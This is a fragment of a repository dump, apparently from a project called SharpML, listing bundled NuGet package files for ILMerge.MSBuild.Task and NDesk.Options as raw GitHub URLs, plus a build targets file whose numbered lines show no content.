-------------------------------------------------------------------------------- /packages/ILMerge.MSBuild.Task.1.0.7/ILMerge.MSBuild.Task.1.0.7.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.MSBuild.Task.1.0.7/ILMerge.MSBuild.Task.1.0.7.nupkg -------------------------------------------------------------------------------- /packages/ILMerge.MSBuild.Task.1.0.7/build/ILMerge.MSBuild.Task.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /packages/ILMerge.MSBuild.Task.1.0.7/tools/ILMerge.MsBuild.Task.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.MSBuild.Task.1.0.7/tools/ILMerge.MsBuild.Task.dll -------------------------------------------------------------------------------- /packages/ILMerge.MSBuild.Task.1.0.7/tools/ILMerge.MsBuild.Task.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.MSBuild.Task.1.0.7/tools/ILMerge.MsBuild.Task.pdb -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/NDesk.Options.0.2.1/.signature.p7s -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg -------------------------------------------------------------------------------- /packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll --------------------------------------------------------------------------------